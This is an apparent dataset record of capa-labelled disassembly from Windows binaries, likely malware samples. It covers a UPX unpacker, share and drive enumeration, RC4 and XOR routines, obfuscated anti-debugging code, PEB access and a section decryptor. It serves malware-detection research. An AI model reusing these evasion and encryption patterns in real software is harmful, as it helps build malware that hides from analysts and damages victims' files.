joyce8/EMBER2024-capa huggingface dataset:
Function at 0x428450
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x18000]
push edi
or ebp, 0xffffffff
jmp 0x428472
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x428479
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x428468
mov eax, 1
add ebx, ebx
jne 0x42848b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x428480
jne 0x42849c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x428480
xor ecx, ecx
sub eax, 3
jb 0x4284b0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x428522
mov ebp, eax
add ebx, ebx
jne 0x4284bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4284c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4284ec
inc ecx
add ebx, ebx
jne 0x4284d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4284cd
jne 0x4284e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4284cd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42850c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4284fd
jmp 0x42846e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42850c
add edi, ecx
jmp 0x42846e
pop esi
mov edi, esi
mov ecx, 0xdd9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42852a
cmp byte [edi], 9
jne 0x42852a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x42852f
lea edi, [esi + 0x26000]
mov eax, dword [edi]
or eax, eax
je 0x4285a7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x29cd8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x29d8c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42855c
mov ecx, edi
jns 0x42858b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x29d90]
or eax, eax
je 0x4285a1
mov dword [ebx], eax
add ebx, 4
jmp 0x428579
call dword [esi + 0x29d94]
popal
jmp 0x404607
Function at 0x401e80
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push ebx
push esi
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 4], 0xffffffff
push eax
push ecx
push 0
push 0
push 2
mov ebx, edx
mov dword [ebp - 8], 0x4000
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x401f84
push dword [ebp - 8]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
mov dword [ebp - 0x10], esi
test esi, esi
je 0x401f7b
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x401f74
xor edi, edi
cmp dword [ebp - 4], edi
jle 0x401f4c
add esi, 0x14
test dword [esi - 8], 2
je 0x401f06
lea ecx, [esi - 0x14]
mov edx, ebx
call fcn.00401e80
jmp 0x401f40
push dword [esi]
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x419654
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x220]
call fcn.00401980
inc edi
add esi, 0x20
cmp edi, dword [ebp - 4]
jl 0x401ef1
mov esi, dword [ebp - 0x10]
lea eax, [ebp - 8]
mov dword [ebp - 4], 0xffffffff
push eax
push esi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x4000
push eax
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x401ee7
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
pop edi
pop esi
mov eax, 2
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401f90
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x21c
mov eax, dword [0x419874]
push ebx
push esi
mov dword [esp + 0xc], eax
mov eax, dword [0x419878]
push edi
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebx, eax
mov esi, 0x1a
nop
test bl, 1
je 0x402021
push 0
push 0
push 0
push 0
push 0
push 0x104
push 0
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov edi, eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 5
je 0x402021
cmp edi, 1
jne 0x402021
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x419548
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [esp + 0x18]
call fcn.00401980
inc word [esp + 0x10]
shr ebx, 1
sub esi, 1
jne 0x401fc0
mov edx, 0x419548
xor ecx, ecx
call fcn.00401e80
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4020a0
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
xor eax, eax
xorps xmm0, xmm0
push esi
push edi
mov word [ebp - 0x14], ax
mov ebx, ecx
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x21c]
push 0x208
push eax
movq qword [ebp - 0x12], xmm0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
jne 0x4020ea
mov eax, 0x43
mov word [ebp - 0x21c], ax
jmp 0x4020f1
mov ax, word [ebp - 0x21c]
mov word [ebp - 0x14], ax
xor eax, eax
push eax
push eax
push eax
push eax
mov word [ebp - 0xe], ax
lea eax, [ebp - 4]
push eax
push 0
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x12], 0x5c003a
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
imul edi, dword [ebp - 4], 0x6226
mov eax, 0xaaaaaaab
add edi, 0xb62fe
imul esi, edi, 0x6226
add esi, 0xb62fe
movzx ecx, si
mul ecx
imul ecx, esi, 0x6226
shr edx, 1
add ecx, 0xb62fe
imul eax, ecx, 0x6226
add eax, 0xb62fe
mov dword [ebp - 4], eax
movzx eax, al
imul eax, edi
push eax
movzx eax, cx
push eax
movzx eax, dx
push eax
push edi
push 0x419884
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402180
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov dword [ebp - 4], edx
xor eax, eax
mov dword [ebp - 8], ecx
mov byte [ebp + eax - 0x108], al
inc eax
cmp eax, 0x100
jb 0x402191
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
nop word [eax + eax]
mov eax, esi
mov bl, byte [ebp + esi - 0x108]
xor edx, edx
div dword [ebp - 4]
movzx eax, byte [edx + ecx]
add eax, edi
movzx ecx, bl
add ecx, eax
movzx edi, cl
mov ecx, dword [ebp - 8]
mov al, byte [ebp + edi - 0x108]
mov byte [ebp + esi - 0x108], al
inc esi
mov byte [ebp + edi - 0x108], bl
cmp esi, 0x100
jb 0x4021b0
mov esi, dword [ebp + 0xc]
xor ebx, ebx
xor eax, eax
test esi, esi
je 0x402251
mov edi, dword [ebp + 8]
nop dword [eax + eax]
inc eax
lea edi, [edi + 1]
movzx edx, al
mov dword [ebp + 0xc], edx
mov cl, byte [ebp + edx - 0x108]
movzx eax, cl
add eax, ebx
movzx ebx, al
mov al, byte [ebp + ebx - 0x108]
mov byte [ebp + edx - 0x108], al
mov eax, dword [ebp + 0xc]
mov byte [ebp + ebx - 0x108], cl
movzx edx, byte [ebp + edx - 0x108]
movzx ecx, cl
add edx, ecx
movzx ecx, dl
movzx ecx, byte [ebp + ecx - 0x108]
xor byte [edi - 1], cl
sub esi, 1
jne 0x402200
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a8ad
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040a56d
Function at 0x10209cf2
Capabilities:
Execute anti-debugging instructions

Disassembly:
popal
mov bx, 0x6d32
neg bx
jmp 0x10209d0c
jb 0x10209c64
mov word [esp + 2], cx
mov ax, dx
jmp 0x10209c96
mov word [esp + 2], cx
mov ax, dx
lea esp, [esp + 2]
and ecx, 0xff0
sete ah
bswap edx
mov al, byte [esp]
jmp 0x10209d6f
push word [esp + 3]
jmp 0x10209c4e
lea esp, [esp + 2]
jmp 0x10209c70
xor byte [ebp + 0xc], 0x20
jmp 0x10209c09
lea edx, [ebp*4]
lea esp, [esp + 4]
jne 0x10209c09
je 0x10209cc5
out dx, al
stc
fdivr dword [ebx]
push 0x3deea2b
call fcn.10214567
xchg ebp, eax
cmp ecx, 0xfe0
mov dx, word [esp]
setg ch
jmp 0x10209cdb
jl 0x10209d26
bsr bx, bx
jmp 0x10236ff3
bsr bx, bx
call fcn.10209d46
movsb byte es:[edi], byte [esi]
rdtsc
xchg dword [esp], ecx
not edx
setb al
lea eax, reloc.SHLWAPI.dll_PathFindFileNameA
jmp 0x10209d58
mov bh, 0x90
bts ax, si
lea ecx, reloc.SHLWAPI.dll_PathFindFileNameA
jmp 0x10209d98
rol bh, 6
jp 0x10209cfd
jnp 0x10209cfd
bsf ebx, ebp
xchg dword [esp + 0x24], ecx
xchg dl, bh
mov ax, word [esp]
jmp 0x10209dbb
lea edx, [edi*4]
pushal
call 0x10209d76
dec ecx
pop eax
inc ebp
std
mov ah, dh
xchg ebx, eax
sbb ecx, edi
xchg esi, eax
lodsb al, byte [esi]
or byte [edx + edi*2 - 0x4726b638], al
dec ebx
mov eax, dword [reloc.SHLWAPI.dll_PathFindFileNameA]
popal
pop esi
mov ebx, 0x5e610618
bswap ebx
push dword [esp + 0x24]
ret 0x28

Function at 0x1020b65b
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov byte [esp + 1], bh
xchg word [esp + 1], di
mov edi, dword [esp + 0x12]
lea esp, [esp + 0x18]
jmp 0x1022bdb3
jmp 0x1027e58f
push ebx
cmc
jmp 0x1027e574
lea edx, [ebx + ebp]
bswap eax
mov ecx, dword [0x102143f4]
rdtsc
jmp 0x1027e54f
mov ebx, 0x102143f4
lea eax, [edx*4]
jmp 0x1027e5d1
push ebp
rdtsc
lea ebp, [ecx*4]
mov dx, 0x201
mov ebp, esp
jmp 0x1027e565
xor ecx, ebx
mov edx, 0x30c1b3f
clc
call fcn.1027e5b7
add ecx, 0xcc
dec al
mov ax, 0xdef9
mov eax, dword [ecx]
jmp 0x1027e61c
xor eax, edx
push esi
call fcn.1027e65f
adc ecx, dword [edx + reloc.SHLWAPI.dll_PathFindFileNameA]
push eax
les ebx, [0xd08efe9c]
invalid
cmc
xor eax, ecx
stc
jmp 0x1027e5ee

Function at 0x1021452d
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop word [esp]
call 0x102144d8

Function at 0x10214536
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0x2074d8
jmp 0x10214fb7
jmp 0x10214582
lea esp, [esp + 2]
mov dword [esp + 0x4c], edi
jmp 0x10215fd7
push word [esp + 2]
js 0x1021456c
lea esp, [esp + 2]
mov dword [esp + 0x4c], edi
lea esp, [esp + 0x4c]
jmp 0x10215fdb
mov edi, dword [esp + 0x2c]
lea ebp, [esp]
call fcn.102149c3
jnp 0x10214bec
btr edi, esp
bswap edi
jmp 0x10214bf1
btr edi, esp
bswap edi
jmp 0x10214a09
lea eax, [ecx + edi]
dec ch
jmp 0x10214a7a
lea esp, [esp + 0x4c]
pushfd
jmp 0x10214445

Function at 0x102149c3
Capabilities:
Execute anti-debugging instructions

Disassembly:
push dword [esp]
sub esp, 0xb8
jmp 0x102149c9
xor bh, cl
jb 0x102149a5
jae 0x102149e7
mov esi, esp
mov ebx, eax
not dh
not ecx
push dword [esp]
jmp 0x102149a8
Function at 0x10214b11
Capabilities:
Execute anti-debugging instructions

Disassembly:
setp dh
jmp 0x10214b41
bsr cx, bp
xchg dword [esp], eax
mov cl, dh
mov edx, 0x836fc795
sete dl
call fcn.10214b73
inc ebx
cli

Function at 0x10215d1f
Capabilities:
Execute anti-debugging instructions

Disassembly:
push edx
ret
jmp 0x10215ba6
dec ah
jp 0x10215bed
jnp 0x10215bed

Function at 0x10216b7e
Capabilities:
Authenticate hmac

Disassembly:
push 0x2074d8
jmp 0x10216bba
pushfd
jmp 0x10216449
mov word [esp], bp
mov dword [esp + 0x28], edi
lea esp, [esp + 0x28]
jmp 0x10216b68
push di
inc si
lea esp, [esp + 2]
jmp 0x10216c17
mov bx, 0x1630
mov edi, dword [esp + 0x2c]
inc ecx
jmp 0x10216bf9
lea esp, [esp + 2]
jmp 0x10216c17
jnp 0x10216ba4
push di
inc si
jmp 0x10216be2
sub esp, 0xc0
jmp 0x10216c44
lea ebp, [esp]
mov ax, 0x5d0c
lea ebx, [esi*4]
xchg ah, dl
jmp 0x10216c01
mov esi, esp
mov ecx, ebx
sets dl
shl dx, cl
jns 0x10216caa
xchg bx, ax
jmp 0x10216c94
stc
btr cx, ax
push cx
lea esp, [esp + 2]
mov ch, byte [esp]
pushfd
jmp 0x10216d54
xchg bx, ax
mov edx, edi
bsr eax, edi
jbe 0x10216c7c
ja 0x10216cc2
xchg byte [edi], al
xchg edi, eax
add dword [esi + reloc.SHLWAPI.dll_PathFindFileNameA], edi
mov eax, 0xe6eb150a
jmp 0x10216c92
lea esp, [esp + 2]
mov ch, byte [esp]
call fcn.10216ce1
add dword [esi], reloc.SHLWAPI.dll_PathFindFileNameA
push cs
mov ebp, 0x88691e37
stc
btr cx, ax
push cx
jmp 0x10216cac

Function at 0x10216c68
Capabilities:
Authenticate hmac

Disassembly:
push esi
push ax
lea esp, [esp + 2]
lea esi, reloc.SHLWAPI.dll_PathFindFileNameA
call fcn.10216bd8
mov dword [esp], esp
push dword [esp]
pop word [esp]
lea esp, [esp + 2]
xchg dword [esp + 4], esi
jmp 0x10216c32

Function at 0x1021985c
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov byte [esp + 2], dh
mov dword [esp], eax
mov dword [esp + 0x10], esi
push eax
jmp 0x10219840
Function at 0x10219888
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0x2074d8
jmp 0x102198f2
mov dword [esp + 0xc], ebp
pushfd
call fcn.1021985c
pushfd
mov byte [esp + 6], bl
push word [esp + 4]
jo 0x1021986a
jno 0x1021989a
ret 0xd141
mov word [esp + 6], bx
pushfd
lea esp, [esp + 5]
lea esp, [esp + 1]
mov dword [esp + 0x14], edi
lea esp, [esp + 0x14]
jmp 0x10219983
mov byte [esp], ch
pop word [esp]
mov word [esp], bp
pushfd
lea esp, [esp + 2]
jmp 0x10219836
mov word [esp + 6], bx
pushfd
lea esp, [esp + 5]
jmp 0x102198aa
lea esp, [esp + 1]
mov dword [esp + 0x14], edi
jmp 0x1021987c
cpuid
jmp 0x10219914
cpuid
pushfd
lea esp, [esp + 1]
jmp 0x10219919
mov eax, 0xd18a8091
sub esp, 1
js 0x102198cd
jns 0x102198d5
lea eax, [ebp*4]
sub esp, 0xc
jg 0x10219954
jle 0x10219935
fcomp dword [edx - 0x38]
scasd eax, dword es:[edi]
pop edx
movsb byte es:[edi], byte [esi]
cmp edx, dword [edx]
pushfd
lea esp, [esp + 1]
mov edi, dword [esp + 0x30]
jmp 0x102198fe
push ebp
bsr dx, di
jmp 0x10219961
mov si, 0x1b05
cpuid
jmp 0x1021995a
jno 0x1021991f
push ebp
bsr dx, di
jmp 0x10219961
mov si, 0x1b05
cpuid
lea ebp, [esp + 0x10]
stc
jmp 0x1021993d
sub esp, 0xac
mov esi, esp
mov bx, word [esp]
mov dh, ch
jmp 0x1021999f
pushfd
jmp 0x1021850f
mov ax, word [esp]
shr bx, 9
rdtsc
lea ebx, [eax + edi]
xchg bx, dx
jmp 0x10219a2b
mov ecx, edi
rcr eax, cl
jo 0x10219989
mov ax, word [esp]
jmp 0x10219aee
mov edx, esp
ror edi, 0
mov dl, 0x3b
not ah
mov bx, 0x482e
jmp fcn.102199c5
add edi, 0x3175ce22
xchg bh, bl
mov ebx, dword [esp]
rdtsc
setnp dl
mov eax, ebp
jmp 0x102199db
clc
mov eax, dword [esp]
mov bh, 0x16
setne bl
lea ebx, [ebp*4]
jmp 0x102199f3
xchg bx, dx
jmp 0x10219a2b
shr bx, 9
rdtsc
lea ebx, [eax + edi]
jmp 0x10219a63

Function at 0x1021c357
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov eax, 0x3ddff005
jmp 0x1021c388
bsr edx, ebp
bsr ax, di
jmp 0x1021c395
rol ebp, 0
sete dh
sub dl, 0x46
jns 0x1021c372
js 0x1021c3b3
lea esp, [esp + 4]
sub ebp, 0x32b85dce
cmc
jg 0x1021c3bc
jle 0x1021c3ff
and byte [edx + 0x5ca25730], ah
invalid
bsr edx, ebp
bsr ax, di
jmp 0x1021c395
sub esp, 0xa
xchg dx, ax
not ax
mov edx, edi
pop dword [esp]
push ebp
lea esp, [esp + 2]
jmp 0x1021c3e6
mov edx, edi
pop dword [esp]
jmp 0x1021c3ca
lea esp, [esp + 8]
add ebp, 0x578e0003
mov ax, 0x80e3
xchg ah, dl
xchg ah, dl
jmp 0x1021c420
sub esp, 0xa
xchg dx, ax
not ax
jmp 0x1021c3df
lea ecx, reloc.SHLWAPI.dll_PathFindFileNameA
sbb ch, bh
jmp 0x1021c444
mov edx, edi
inc dh
jp 0x1021c40a
lea ecx, reloc.SHLWAPI.dll_PathFindFileNameA
jmp 0x1021c473
xchg cl, dh
mov ch, cl
not dl
lea ecx, [esp + ebx]
mov eax, dword [esp]
jmp 0x1021c45a
rol ebp, 0
je 0x1021c42e
xchg cl, dh
jmp 0x1021c451
mov ch, cl
not dl
lea ecx, [esp + ebx]
jmp 0x1021c48d
ror ebp, 0
sete ch
shl ax, cl
jo 0x1021c477
jno 0x1021c492
mov edx, dword [ebx]
and esi, 0x15
not byte [esi]
add dword [eax + 3], 0xef1a95ba
sbb ch, bh
jmp 0x1021c444
lea ecx, [ebx + ebp]
mov ch, 0x8f
jmp 0x1021c6e7
mov eax, dword [esp]
jmp 0x1021c45a
lea ecx, [ebx + ebp]
mov ch, 0x8f
jmp 0x1021c6e7
bswap ecx
jmp fcn.1021c4b6
rdtsc
jmp 0x1021c4d8
add ebp, dword [esi]
or eax, edi
jae 0x1021c598
rdtsc
bswap ecx
jmp fcn.1021c4b6
Function at 0x1021d12f
Capabilities:
Execute anti-debugging instructions

Disassembly:
invalid
neg edx
jnp 0x1021d1b1
jp 0x1021d166
lahf
push ds
mov ebx, gs
fldpi
jae 0x1021d121
xchg byte [ebp - 0x6a], dh
mul cl
and byte [ebx - 0x73], ah
and al, 4
not edx
or dx, 0xfb04
jmp 0x1021d1b8
not edx
or dx, 0xfb04
lea esp, [esp + 4]
dec al
jmp 0x1021d150

Function at 0x1022b65d
Capabilities:
Encrypt data using aes

Disassembly:
lea eax, [ebx*4]
mov al, byte [esp]
mov ah, cl
mov ax, word [esp]
jmp 0x1022b5d0
mov eax, dword [esp]
pop esi
mov al, byte [esp]
pushal
mov ax, 0x412d
mov ebp, dword [esp + 0x20]
jmp 0x1022b5a8
lea eax, reloc.SHLWAPI.dll_PathFindFileNameA
mov ax, word [esp]
mov ax, 0x1ce9
mov eax, dword [esp + 0x25]
lea esp, [esp + 0x2c]
call fcn.10207a6d
xor eax, dword [esi + reloc.SHLWAPI.dll_PathFindFileNameA]
inc ebp
lea esi, [eax*4]
lea esi, [ebx + esi]
mov al, bh
mov si, bx
mov ebp, dword [esp]
mov ebp, 0xca13a619
jmp 0x1022b5be
pushal
jmp 0x1022b650
push ebp
mov al, byte [esp]
xchg bp, ax
setp al
setnp ah
push esi
jmp 0x1022b5f2
xchg dl, al
mov bx, word [esp]
popal
call 0x1022b65d
add dword [ebp - reloc.SHLWAPI.dll_PathFindFileNameA], ecx
xor eax, 0xba000159
xchg ebp, eax
add al, 0xb7
into
mov al, byte [0x613fcb7e]
mov dl, 0xe
ror dword [esi], cl
rol byte [ebx - 0x624799c6], 6
mov eax, dword [esp]
lea eax, reloc.SHLWAPI.dll_PathFindFileNameA
lea eax, [ebx + edi]
mov eax, dword [esp]
mov eax, edi
jmp 0x1022b641
mov esi, dword [esp + 0xd]
lea esp, [esp + 0x14]
jmp 0x1022b60b

Function at 0x1022fc89
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg ecx, ebx
mov ax, 0x536f
add esp, 4
jne 0x1022fccd
je 0x1022fcb7
cmc
cmc
mov ecx, dword [esp + 4]
lea esp, [esp + 8]
jmp 0x1021999f
sub esp, 4
jo 0x1022fc96
cmc
jmp 0x1022fce5
jmp 0x1022fcb7
cmc
mov ecx, dword [esp + 4]
lea esp, [esp + 8]
jmp 0x1021999f
Function at 0x1024167e
Capabilities:
Encrypt data using aes

Disassembly:
push sp
pushal
xchg ebp, ebx
mov dword [esp], edx
jmp 0x1024148d

Function at 0x1024178b
Capabilities:
Encrypt data using aes

Disassembly:
lea esp, [esp + 0x10]
xor ecx, dword [ebx]
bswap edi
mov dx, word [esp]
neg dl
jmp 0x1024173d
xor ecx, edx
pushfd
pop word [esp]
pushfd
lea esp, [esp + 2]
jmp 0x10241689
mov edx, dword [eax + 4]
push bx
lea esp, [esp + 2]
jmp 0x102416dd
mov dword [edi], ecx
not dx
mov edx, 0xac6ad768
mov dx, 0x21cb
pushfd
jmp 0x102416b6
xor edx, ecx
push edx
pop cx
lea esp, [esp + 2]
jmp 0x10241711
pop edi
bswap ecx
mov ecx, dword [esp]
jmp 0x1024171b
dec dx
mov dx, word [esp]
lea esp, [esp + 4]
add ebx, 4
adc edx, esi
jmp 0x102416cc
push edi
mov edi, eax
add edi, 0x14
mov dword [edi], edx
jmp 0x102416e8
push edi
mov edi, eax
add edi, 8
jmp 0x10241727
mov ecx, dword [edi]
pop edi
pushal
jmp 0x1024175d
lea edi, [eax + 0x10]
mov dh, ah
xor ecx, dword [eax]
pushfd
jmp 0x10241700
mov edx, dword [eax + 0xc]
jmp 0x10241768
xor ecx, edx
mov dword [eax + 0x18], ecx
mov dx, word [esp]
jmp 0x10241747
xor edx, ecx
sub esp, 7
lea esp, [esp + 3]
mov dword [eax + 0x1c], edx
jmp 0x102417fa
mov dword [esp], ebx
xor ecx, edi
and edx, ebp
jmp 0x102416a8
mov edi, dword [esp]
mov esi, ebx
mov bh, ah
lea esp, [esp + 4]
pop esi
jmp 0x102417de
mov ebx, dword [esp]
jmp 0x102417c8
push 0xa
pop eax
mov ebp, 0xb920a52c
not di
jmp 0x10241797
pop ebx
ret
push bp
lea esp, [esp + 2]
pop ebp
mov bh, ch
mov ebx, dword [esp]
jmp 0x102417a5
lea esp, [esp + 0x28]
cmp ebx, 0x10213a30
jne 0x10240fa7
jmp 0x102417bb

Function at 0x102998da
Capabilities:
Encode data using xor

Disassembly:
add ebx, 2
pushal
mov word [esp + 6], cx
jmp 0x1029994e
push dword [ebp - 0xc]
push bp
jmp 0x10298e4d
push word [esp + 1]
lea esp, [esp + 4]
call ecx
mov ch, byte [esp]
jmp 0x1029992e
lea esp, [esp + 0x20]
test edx, edx
pushfd
jmp 0x102998dc
jmp 0x102998c4
lea esp, [esp + 4]
jns 0x10298e16
and edx, 0xffff
jmp 0x102999a6
mov dword [edi], eax
bts ecx, ecx
sete al
setb ch
lea esp, [esp + 0x20]
push ebx
jmp 0x10298e42
push edx
jmp 0x10298e42

Function at 0x10299c00
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x10299c3b
lea esp, [esp + 0x18]
mov dword [esp + 0x14], ecx
cmp dword [eax + ebx + 8], ecx
pushal
jmp 0x10299c25

Function at 0x10299c6f
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x10299ce3
mov eax, dword [ebp + 0xc]
lea esp, [esp + 4]
call fcn.1022af19
call fcn.10299c71
Function at 0x10299c73
Capabilities:
Execute anti-debugging instructions

Disassembly:
push edx
jmp 0x1029ab1f
lea esp, [esp + 4]
je 0x1020d311
jne 0x10299d24
sbb al, 0x99
or dword [eax - 0x65], ebp
sub byte [eax + 0x5b], bh
sub esp, 9
mov byte [esp + 5], al
lea esp, [esp + 1]
jmp fcn.10299cf4
inc dword [esp + 0x14]
mov ch, byte [esp]
lea eax, [ecx + edi]
mov eax, dword [0x10214378]
jmp 0x10299d0a
lea esp, [esp + 4]
mov eax, dword [esp + 0x18]
setae dl
mov edx, dword [0x10214378]
bts ecx, edx
call fcn.1029ab08
lea esp, [esp + 8]
lea ecx, [eax + 1]
jmp 0x1029ab50
mov eax, dword [esp + 0x14]
jmp 0x1029ab87
imul ecx, ecx, 0xc
mov ecx, dword [ecx + edx]
imul eax, eax, 0x14
call fcn.1029ab71
mov eax, dword [eax + ecx + 0x10]
lea esp, [esp + 4]
jmp fcn.1020d88e

Function at 0x1036cd86
Capabilities:
Parse pe header

Disassembly:
lea esp, [esp + 2]
mov dword [esp + 4], esp
call fcn.1036cd2d
call 0x1036cd86
pop ecx
fimul dword [eax + 0x2f]
fidiv dword [edx]
mov ecx, 0x39caaf3f
mov ch, 0x92
or eax, 0x88f6ef9c
mov byte [esp + 9], ch
mov dword [esp + 0xc], esi
call 0x1036cd63
jmp 0x1036ce0e
lea esp, [esp + 2]
mov dword [esp + 8], ebx
push cx
jmp 0x1036cd56
lea esp, [esp]
pop dword [esp]
call fcn.1036cd8b

Function at 0x1036cd8b
Capabilities:
Access peb ldr_data
Parse pe header

Disassembly:
call fcn.1036581e
mov dword [esp + 0x10], edi
lea esp, [esp + 0x10]
jmp 0x1036cdd4
push edi
mov edi, eax
mov eax, dword [edi]
pop edi
jmp 0x1036cdbb
mov eax, dword [eax + 8]
push eax
jmp 0x10365819
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
jmp 0x1036cdaf

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..pdata
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x55ff22cd
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..pdata_1
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e3d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x3bad76cb
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219